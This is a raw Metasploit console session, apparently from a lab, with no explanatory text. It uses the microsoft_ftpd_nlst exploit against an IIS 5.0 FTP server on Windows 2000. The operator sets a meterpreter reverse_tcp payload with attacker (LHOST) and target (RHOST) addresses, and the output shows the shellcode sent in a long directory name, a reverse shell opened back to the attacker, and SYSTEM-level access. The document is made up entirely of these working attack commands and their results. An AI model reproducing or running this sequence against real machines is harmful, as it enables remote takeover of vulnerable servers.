1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

       =[ msf v3.3-dev
+ -- --=[ 403 exploits - 273 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 193 aux

msf > use exploit/windows/ftp/microsoft_ftpd_nlst 
msf exploit(microsoft_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(microsoft_ftpd_nlst) > set LHOST 192.168.0.136 
LHOST => 192.168.0.136
msf exploit(microsoft_ftpd_nlst) > set RHOST 192.168.0.128
RHOST => 192.168.0.128
msf exploit(microsoft_ftpd_nlst) > exploit 

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 192.168.0.128:21...
[*] Connected to target FTP server.
[*] Authenticating as anonymous with password mozilla@example.com...
[*] Sending password...
[*] 257 "RTIXDYMRJB" directory created.
[*] 250 CWD command successful.
[*] Creating long directory...
[*] 257 "SQL�UURU5UUUU@�8QKORu�@@@@��GVSVIHLODRPRVJDPILGXHZNKLNIYQZKGXCWEAGFGHTXSXDBYDLLXKGKYWUJNJGTZX����ASNOHNZRTDAAMVPKVEQRAVWPUJNGYKWSAIUMUPWLBU������������w�����YYTPSDOYTB�f���ICVFVCFUIZKQTRMIEWETKWE" directory created.
[*] 200 PORT command successful.
[*] Trying target Windows 2000 SP4 Universal (IIS 5.0)...
[*] 150 Opening ASCII mode data connection for file list.
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.0.136:4444 -> 192.168.0.128:1076)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >